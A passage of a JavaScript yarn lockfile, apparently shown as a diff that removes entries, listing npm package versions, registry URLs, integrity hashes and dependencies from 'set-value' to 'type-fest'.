sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g== - dependencies: - encodeurl "~1.0.2" - escape-html "~1.0.3" - parseurl "~1.3.3" - send "0.18.0" - -set-value@^4.0.1: - version "4.1.0" - resolved "https://registry.yarnpkg.com/set-value/-/set-value-4.1.0.tgz#aa433662d87081b75ad88a4743bd450f044e7d09" - integrity sha512-zTEg4HL0RwVrqcWs3ztF+x1vkxfm0lP+MQQFPiMJTKVceBwEV0A569Ou8l9IYQG8jOZdMVI1hGsc0tmeD2o/Lw== - dependencies: - is-plain-object "^2.0.4" - is-primitive "^3.0.1" - -setimmediate@^1.0.5: - version "1.0.5" - resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285" - integrity sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA== - -setprototypeof@1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656" - integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ== - -setprototypeof@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.2.0.tgz#66c9a24a73f9fc28cbe66b09fed3d33dcaf1b424" - integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw== - -shallow-clone@^3.0.0: - version "3.0.1" - resolved "https://registry.yarnpkg.com/shallow-clone/-/shallow-clone-3.0.1.tgz#8f2981ad92531f55035b01fb230769a40e02efa3" - integrity sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA== - dependencies: - kind-of "^6.0.2" - -shallowequal@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/shallowequal/-/shallowequal-1.1.0.tgz#188d521de95b9087404fd4dcb68b13df0ae4e7f8" - integrity sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ== - -shebang-command@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea" - integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA== - dependencies: - shebang-regex "^3.0.0" - -shebang-regex@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172" - integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A== - -shell-quote@^1.7.3: - version "1.7.3" - resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.3.tgz#aa40edac170445b9a431e17bb62c0b881b9c4123" - integrity sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw== - -shelljs@^0.8.5: - version "0.8.5" - resolved "https://registry.yarnpkg.com/shelljs/-/shelljs-0.8.5.tgz#de055408d8361bed66c669d2f000538ced8ee20c" - integrity sha512-TiwcRcrkhHvbrZbnRcFYMLl30Dfov3HKqzp5tO5b4pt6G/SezKcYhmDg15zXVBswHmctSAQKznqNW2LO5tTDow== - dependencies: - glob "^7.0.0" - interpret "^1.0.0" - rechoir "^0.6.2" - -side-channel@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/side-channel/-/side-channel-1.0.4.tgz#efce5c8fdc104ee751b25c58d4290011fa5ea2cf" - integrity sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw== - dependencies: - call-bind "^1.0.0" - get-intrinsic "^1.0.2" - object-inspect "^1.9.0" - -signal-exit@^3.0.2, signal-exit@^3.0.3: - version "3.0.7" - resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9" - integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ== - -sirv@^1.0.7: - version "1.0.19" - resolved "https://registry.yarnpkg.com/sirv/-/sirv-1.0.19.tgz#1d73979b38c7fe91fcba49c85280daa9c2363b49" - integrity sha512-JuLThK3TnZG1TAKDwNIqNq6QA2afLOCcm+iE8D1Kj3GA40pSPsxQjjJl0J8X3tsR7T+CP1GavpzLwYkgVLWrZQ== - dependencies: - "@polka/url" "^1.0.0-next.20" - mrmime "^1.0.0" - totalist "^1.0.0" - -sisteransi@^1.0.5: - version "1.0.5" - resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed" - integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg== - -sitemap@^7.1.1: - version "7.1.1" - resolved "https://registry.yarnpkg.com/sitemap/-/sitemap-7.1.1.tgz#eeed9ad6d95499161a3eadc60f8c6dce4bea2bef" - integrity sha512-mK3aFtjz4VdJN0igpIJrinf3EO8U8mxOPsTBzSsy06UtjZQJ3YY3o3Xa7zSc5nMqcMrRwlChHZ18Kxg0caiPBg== - dependencies: - "@types/node" "^17.0.5" - "@types/sax" "^1.2.1" - arg "^5.0.0" - sax "^1.2.4" - -slash@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634" - integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q== - -slash@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/slash/-/slash-4.0.0.tgz#2422372176c4c6c5addb5e2ada885af984b396a7" - integrity sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew== - -sockjs@^0.3.24: - version "0.3.24" - resolved "https://registry.yarnpkg.com/sockjs/-/sockjs-0.3.24.tgz#c9bc8995f33a111bea0395ec30aa3206bdb5ccce" - integrity sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ== - dependencies: - faye-websocket "^0.11.3" - uuid "^8.3.2" - websocket-driver "^0.7.4" - -sort-css-media-queries@2.0.4: - version "2.0.4" - resolved "https://registry.yarnpkg.com/sort-css-media-queries/-/sort-css-media-queries-2.0.4.tgz#b2badfa519cb4a938acbc6d3aaa913d4949dc908" - integrity sha512-PAIsEK/XupCQwitjv7XxoMvYhT7EAfyzI3hsy/MyDgTvc+Ft55ctdkctJLOy6cQejaIC+zjpUL4djFVm2ivOOw== - -source-map-js@^1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/source-map-js/-/source-map-js-1.0.2.tgz#adbc361d9c62df380125e7f161f71c826f1e490c" - integrity sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw== - -source-map-support@~0.5.20: - version "0.5.21" - resolved "https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.5.21.tgz#04fe7c7f9e1ed2d662233c28cb2b35b9f63f6e4f" - integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w== - dependencies: - buffer-from "^1.0.0" - source-map "^0.6.0" - -source-map@^0.5.0: - version "0.5.7" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc" - integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ== - -source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0: - version "0.6.1" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263" - integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== - -space-separated-tokens@^1.0.0: - version "1.1.5" - resolved "https://registry.yarnpkg.com/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz#85f32c3d10d9682007e917414ddc5c26d1aa6899" - integrity sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA== - -spdy-transport@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/spdy-transport/-/spdy-transport-3.0.0.tgz#00d4863a6400ad75df93361a1608605e5dcdcf31" - integrity sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw== - dependencies: - debug "^4.1.0" - detect-node "^2.0.4" - hpack.js "^2.1.6" - obuf "^1.1.2" - readable-stream "^3.0.6" - wbuf "^1.7.3" - -spdy@^4.0.2: - version "4.0.2" - resolved "https://registry.yarnpkg.com/spdy/-/spdy-4.0.2.tgz#b74f466203a3eda452c02492b91fb9e84a27677b" - integrity sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA== - dependencies: - debug "^4.1.0" - handle-thing "^2.0.0" - http-deceiver "^1.2.7" - select-hose "^2.0.0" - spdy-transport "^3.0.0" - -sprintf-js@~1.0.2: - version "1.0.3" - resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c" - integrity sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g== - -stable@^0.1.8: - version "0.1.8" - resolved "https://registry.yarnpkg.com/stable/-/stable-0.1.8.tgz#836eb3c8382fe2936feaf544631017ce7d47a3cf" - integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w== - -state-toggle@^1.0.0: - version "1.0.3" - resolved "https://registry.yarnpkg.com/state-toggle/-/state-toggle-1.0.3.tgz#e123b16a88e143139b09c6852221bc9815917dfe" - integrity sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ== - -statuses@2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63" - integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ== - -"statuses@>= 1.4.0 < 2": - version "1.5.0" - resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" - integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA== - -std-env@^3.0.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/std-env/-/std-env-3.1.1.tgz#1f19c4d3f6278c52efd08a94574a2a8d32b7d092" - integrity sha512-/c645XdExBypL01TpFKiG/3RAa/Qmu+zRi0MwAmrdEkwHNuN0ebo8ccAXBBDa5Z0QOJgBskUIbuCK91x0sCVEw== - -string-width@^4.0.0, string-width@^4.1.0, string-width@^4.2.0, string-width@^4.2.2: - version "4.2.3" - resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" - integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== - dependencies: - emoji-regex "^8.0.0" - is-fullwidth-code-point "^3.0.0" - strip-ansi "^6.0.1" - -string-width@^5.0.1: - version "5.1.2" - resolved "https://registry.yarnpkg.com/string-width/-/string-width-5.1.2.tgz#14f8daec6d81e7221d2a357e668cab73bdbca794" - integrity sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA== - dependencies: - eastasianwidth "^0.2.0" - emoji-regex "^9.2.2" - strip-ansi "^7.0.1" - -string_decoder@^1.1.1: - version "1.3.0" - resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e" - integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA== - dependencies: - safe-buffer "~5.2.0" - -string_decoder@~1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8" - integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg== - dependencies: - safe-buffer "~5.1.0" - -stringify-object@^3.3.0: - version "3.3.0" - resolved "https://registry.yarnpkg.com/stringify-object/-/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629" - integrity sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw== - dependencies: - get-own-enumerable-property-symbols "^3.0.0" - is-obj "^1.0.1" - is-regexp "^1.0.0" - -strip-ansi@^6.0.0, strip-ansi@^6.0.1: - version "6.0.1" - resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9" - integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== - dependencies: - ansi-regex "^5.0.1" - -strip-ansi@^7.0.1: - version "7.0.1" - resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-7.0.1.tgz#61740a08ce36b61e50e65653f07060d000975fb2" - integrity sha512-cXNxvT8dFNRVfhVME3JAe98mkXDYN2O1l7jmcwMnOslDeESg1rF/OZMtK0nRAhiari1unG5cD4jG3rapUAkLbw== - dependencies: - ansi-regex "^6.0.1" - -strip-bom-string@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/strip-bom-string/-/strip-bom-string-1.0.0.tgz#e5211e9224369fbb81d633a2f00044dc8cedad92" - integrity sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g== - -strip-final-newline@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad" - integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA== - -strip-json-comments@^3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006" - integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== - -strip-json-comments@~2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a" - integrity sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ== - -style-to-object@0.3.0, style-to-object@^0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/style-to-object/-/style-to-object-0.3.0.tgz#b1b790d205991cc783801967214979ee19a76e46" - integrity sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA== - dependencies: - inline-style-parser "0.1.1" - -stylehacks@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-5.1.1.tgz#7934a34eb59d7152149fa69d6e9e56f2fc34bcc9" - integrity sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw== - dependencies: - browserslist "^4.21.4" - postcss-selector-parser "^6.0.4" - -supports-color@^5.3.0: - version "5.5.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f" - integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow== - dependencies: - has-flag "^3.0.0" - -supports-color@^7.1.0: - version "7.2.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da" - integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== - dependencies: - has-flag "^4.0.0" - -supports-color@^8.0.0: - version "8.1.1" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-8.1.1.tgz#cd6fc17e28500cff56c1b86c0a7fd4a54a73005c" - integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== - dependencies: - has-flag "^4.0.0" - -supports-preserve-symlinks-flag@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09" - integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w== - -svg-parser@^2.0.2: - version "2.0.4" - resolved "https://registry.yarnpkg.com/svg-parser/-/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5" - integrity sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ== - -svgo@^2.5.0, svgo@^2.7.0: - version "2.8.2" - resolved "https://registry.yarnpkg.com/svgo/-/svgo-2.8.2.tgz#8e99b7ba5ac9ed7e3a446063865f61e03223fe6b" - integrity sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA== - dependencies: - commander "^7.2.0" - css-select "^4.1.3" - css-tree "^1.1.3" - csso "^4.2.0" - picocolors "^1.0.0" - sax "^1.5.0" - stable "^0.1.8" - -tapable@^1.0.0: - version "1.1.3" - resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2" - integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA== - -tapable@^2.0.0, tapable@^2.1.1, tapable@^2.2.0: - version "2.2.1" - resolved "https://registry.yarnpkg.com/tapable/-/tapable-2.2.1.tgz#1967a73ef4060a82f12ab96af86d52fdb76eeca0" - integrity sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ== - -terser-webpack-plugin@^5.1.3: - version "5.3.3" - resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.3.tgz#8033db876dd5875487213e87c627bca323e5ed90" - integrity sha512-Fx60G5HNYknNTNQnzQ1VePRuu89ZVYWfjRAeT5rITuCY/1b08s49e5kSQwHDirKZWuoKOBRFS98EUUoZ9kLEwQ== - dependencies: - "@jridgewell/trace-mapping" "^0.3.7" - jest-worker "^27.4.5" - schema-utils "^3.1.1" - serialize-javascript "^6.0.0" - terser "^5.7.2" - -terser-webpack-plugin@^5.3.3: - version "5.3.6" - resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-5.3.6.tgz#5590aec31aa3c6f771ce1b1acca60639eab3195c" - integrity sha512-kfLFk+PoLUQIbLmB1+PZDMRSZS99Mp+/MHqDNmMA6tOItzRt+Npe3E+fsMs5mfcM0wCtrrdU387UnV+vnSffXQ== - dependencies: - "@jridgewell/trace-mapping" "^0.3.14" - jest-worker "^27.4.5" - schema-utils "^3.1.1" - serialize-javascript "^6.0.0" - terser "^5.14.1" - -terser@^5.10.0, terser@^5.7.2: - version "5.14.2" - resolved "https://registry.yarnpkg.com/terser/-/terser-5.14.2.tgz#9ac9f22b06994d736174f4091aa368db896f1c10" - integrity sha512-oL0rGeM/WFQCUd0y2QrWxYnq7tfSuKBiqTjRPWrRgB46WD/kiwHwF8T23z78H6Q6kGCuuHcPB+KULHRdxvVGQA== - dependencies: - "@jridgewell/source-map" "^0.3.2" - acorn "^8.5.0" - commander "^2.20.0" - source-map-support "~0.5.20" - -terser@^5.14.1: - version "5.15.1" - resolved "https://registry.yarnpkg.com/terser/-/terser-5.15.1.tgz#8561af6e0fd6d839669c73b92bdd5777d870ed6c" - integrity sha512-K1faMUvpm/FBxjBXud0LWVAGxmvoPbZbfTCYbSgaaYQaIXI3/TdI7a7ZGA73Zrou6Q8Zmz3oeUTsp/dj+ag2Xw== - dependencies: - "@jridgewell/source-map" "^0.3.2" - acorn "^8.5.0" - commander "^2.20.0" - source-map-support "~0.5.20" - -text-table@^0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4" - integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw== - -thunky@^1.0.2: - version "1.1.0" - resolved "https://registry.yarnpkg.com/thunky/-/thunky-1.1.0.tgz#5abaf714a9405db0504732bbccd2cedd9ef9537d" - integrity sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA== - -tiny-invariant@^1.0.2: - version "1.2.0" - resolved "https://registry.yarnpkg.com/tiny-invariant/-/tiny-invariant-1.2.0.tgz#a1141f86b672a9148c72e978a19a73b9b94a15a9" - integrity sha512-1Uhn/aqw5C6RI4KejVeTg6mIS7IqxnLJ8Mv2tV5rTc0qWobay7pDUz6Wi392Cnc8ak1H0F2cjoRzb2/AW4+Fvg== - -tiny-warning@^1.0.0: - version "1.0.3" - resolved "https://registry.yarnpkg.com/tiny-warning/-/tiny-warning-1.0.3.tgz#94a30db453df4c643d0fd566060d60a875d84754" - integrity sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA== - -to-fast-properties@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e" - integrity sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog== - -to-regex-range@^5.0.1: - version "5.0.1" - resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4" - integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== - dependencies: - is-number "^7.0.0" - -toidentifier@1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35" - integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA== - -totalist@^1.0.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/totalist/-/totalist-1.1.0.tgz#a4d65a3e546517701e3e5c37a47a70ac97fe56df" - integrity sha512-gduQwd1rOdDMGxFG1gEvhV88Oirdo2p+KjoYFU7k2g+i7n6AFFbDQ5kMPUsW0pNbfQsB/cwXvT1i4Bue0s9g5g== - -tr46@~0.0.3: - version "0.0.3" - resolved "https://registry.yarnpkg.com/tr46/-/tr46-0.0.3.tgz#8184fd347dac9cdc185992f3a6622e14b9d9ab6a" - integrity sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw== - -trim-trailing-lines@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/trim-trailing-lines/-/trim-trailing-lines-1.1.4.tgz#bd4abbec7cc880462f10b2c8b5ce1d8d1ec7c2c0" - integrity sha512-rjUWSqnfTNrjbB9NQWfPMH/xRK1deHeGsHoVfpxJ++XeYXE0d6B1En37AHfw3jtfTU7dzMzZL2jjpe8Qb5gLIQ== - -trim@0.0.1, trim@^0.0.3: - version "0.0.3" - resolved "https://registry.yarnpkg.com/trim/-/trim-0.0.3.tgz#05243a47a3a4113e6b49367880a9cca59697a20b" - integrity sha512-h82ywcYhHK7veeelXrCScdH7HkWfbIT1D/CgYO+nmDarz3SGNssVBMws6jU16Ga60AJCRAvPV6w6RLuNerQqjg== - -trough@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/trough/-/trough-1.0.5.tgz#b8b639cefad7d0bb2abd37d433ff8293efa5f406" - integrity sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA== - -tslib@^2.0.3, tslib@^2.1.0: - version "2.4.0" - resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.4.0.tgz#7cecaa7f073ce680a05847aa77be941098f36dc3" - integrity sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ== - -tslib@^2.4.0: - version "2.4.1" - resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.4.1.tgz#0d0bfbaac2880b91e22df0768e55be9753a5b17e" - integrity sha512-tGyy4dAjRIEwI7BzsB0lynWgOpfqjUdq91XXAlIWD2OwKBH7oCl/GZG/HT4BOHrTlPMOASlMQ7veyTqpmRcrNA== - -type-fest@^0.20.2: - version "0.20.2" - resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4" - integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ== - -type-fest@^2.5.0: - version "2.16.0" - resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-2.16.0.tgz#1250fbd64dafaf4c8e405e393ef3fb16d9651db2" - integrity 